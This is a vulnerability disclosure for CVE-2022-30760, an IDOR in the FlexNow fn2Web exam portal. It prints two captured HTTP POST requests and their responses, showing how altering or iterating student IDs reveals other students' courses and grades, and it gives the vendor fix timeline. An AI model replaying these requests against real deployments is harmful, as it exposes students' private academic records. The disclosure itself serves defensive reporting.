FlexNow CVE-2022-30760

An Insecure Direct Object Reference (IDOR) in the exam software fn2Web by ihb eG FlexNow, used by many German universities, in versions before 2.04.09.016, allows remote authenticated attackers to disclose sensitive student information (final grades, study courses, degrees) by changing the student ID parameter in the HTTP POST request to the FrontControllerSS endpoint.

IDOR Attacks

If a student accesses the menu point "Student's data" in FlexNow, there are two HTTP requests happening in the background that have student IDs (matrNr) as a parameter. This student ID can be changed arbitrarily, and the attacker will receive information for arbitrary students. The first IDOR vulnerability allows an attacker to see detailed study courses of an arbitrary student, the second vulnerability allows an attacker to see all degrees of an arbitrary student, including date of graduation, final grade, grade of the bachelor/master thesis, aggregated grade in voluntary courses, mandatory courses, etc.

First IDOR - Semester Overview

```
POST /FN2SSS/FrontControllerSS HTTP/1.1
Host: web.flexnow.myuniversity.de
Cookie: JSESSIONID=...; amlbcookie=03; iPlanetDirectoryPro=...; agent-authn-tx=...; am-auth-jwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 145
Origin: https://web.flexnow.myuniversity.de
Referer: https://web.flexnow.myuniversity.de/FN2SSS/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

reqMode=FN2AJAX&Window=Studentendaten&Event=anzeigenStudfachSemSelektiert&sc1=1651846476444&sc2=7632E93CD43BDB0D9498E482125A
```

The attacker then receives this response:

```
<div id="semContainer">
<ul id="listeStudentfachSem">
<li>Choose degree program: <span class="studfach">B.Sc. IT-Sicherheit /
Informationstechnik</span><ul>
<li><span class="semester">SS22</span> | subject-related semester: 6 | semester of examination: 6 | Regular semester</li>
```

```
<li><span class="semester">WS21/22</span> | subject-related semester: 5 | semester of examination: 5 | Regular semester</li>
<li><span class="semester">SS21</span> | subject-related semester: 4 | semester of examination: 4 | Regular semester</li>
<li><span class="semester">WS20/21</span> | subject-related semester: 3 | semester of examination: 3 | Regular semester</li>
<li><span class="semester">SS20</span> | subject-related semester: 2 | semester of examination: 2 | Regular semester</li>
<li><span class="semester">WS19/20</span> | subject-related semester: 1 | semester of examination: 1 | Regular semester | imm
</ul>
</li>
<li>Choose degree program: <span class="studfach">Wiwi - Chemie</span><ul>
<li><span class="semester">SS19</span> | subject-related semester: 2 | semester of examination: 2 | Regular semester</li>
<li><span class="semester">WS18/19</span> | subject-related semester: 1 | semester of examination: 1 | Regular semester | imm
</ul>
</li>
</ul>
</div>
```

As observable, we now know what each student is studying, whether they studied something else beforehand, whether they canceled their previous studies, and what semester they are currently in.

Second IDOR - Diploma Data

The second vulnerability is also found in a HTTP POST request being executed upon selecting the menu point “Student’s data”. An attacker will intercept this request and change the matrNr to the student he wants to obtain information about, or just iterate over all student IDs, which is trivial based on their incremental structure, to extract all existing student’s information. When inserting the student ID, again, one only has to use the last 8 digits as a parameter.

```
POST /FN2SSS/FrontControllerSS HTTP/1.1
Host: web.flexnow.myuniversity.de
Cookie: JSESSIONID=...; amlbcookie=03; iPlanetDirectoryPro=...; agent-authn-tx=...; am-auth-jwt=...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 145
Origin: https://web.flexnow.myuniversity.de
Referer: https://web.flexnow.myuniversity.de/FN2SSS/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

reqMode=FN2AJAX&Window=Studentendaten&Event=anzeigenStudzeugniSelektiert&sc1=1651846476444&sc2=7632E23CD43BDC0D9494E487125A9
```

The attacker then receives this response:

```
<div id="zeugnisContainer">
   <ul id="listeStudzeugni">
```

```
      <li>Choose degree program: <span class="studfach">IT-Sicherheit / Informationstechnik</span><ul>
            <li><span class="semester">SS19</span> | <span class="zeugnistyp">Bachelor of Science</span> | Note: 90
               <ul>
                  <li>Pflichtmodule | Grade: 90</li>
                  <li>Wahlpflichtmodule | Grade: 90</li>
                  <li>Praktische Module | Grade: </li>
                  <li>Nichttechnische Wahlmodule | Grade: </li>
                  <li>Industriepraktikum | Grade: </li>
                  <li>Bachelorarbeit und Kolloquium | Grade: 90</li>
                  <li>Freiwillige Zusatzleistungen | Grade: </li>
               </ul>
            </li>
         </ul>
      </li>
      <li>Choose degree program: <span class="studfach">IT-Sicherheit / Informationstechnik</span><ul>
            <li><span class="semester">WS21/22</span> | <span class="zeugnistyp">Master of Science</span> | Note: 90
               <ul>
                  <li>Wahlpflichtmodule Theorie der IT-Sicherheit | Grade: 90</li>
                  <li>Wahlpflichtmodule Anwendungen der IT-Sicherheit | Grade: 90</li>
                  <li>Wahlpflichtmodule Informatik | Grade: 90</li>
                  <li>Praktische Module | Grade: </li>
                  <li>Nichttechnische Wahlmodule | Grade: </li>
                  <li>Freie Wahlmodule | Grade: </li>
                  <li>Masterarbeit | Grade: 90</li>
                  <li>Freiwillige Zusatzleistungen | Grade: </li>
               </ul>
            </li>
         </ul>
      </li>
   </ul>
</div>
```

As observable, we now know each student's degrees and their grades in various areas.

Impact

A few of the observable impacts are:

- Getting final grades from all or arbitrary students
- Getting detailed study courses from all or arbitrary students
- Reading highly sensitive data of all students is possible, leading to a major breach possibility

In detail, data regarding study courses consists of 4 properties per semester that can be accessed. The diploma data consists of the graduations of a student including the graduation title, final grade, semester of graduation, grade of the bachelor/master thesis, and aggregated grades in some categories of their degree like optional subjects.

Fix

The vulnerability was reported to the vendor on 05/06/2022, a quick fix was released by the vendor on 05/09/2022, and a full fix was released by the vendor on 05/10/2022 in version 2.04.09.017.

Acknowledgements

The vulnerabilities were discovered by Christian Krug and Thorger Sebastian Jansen.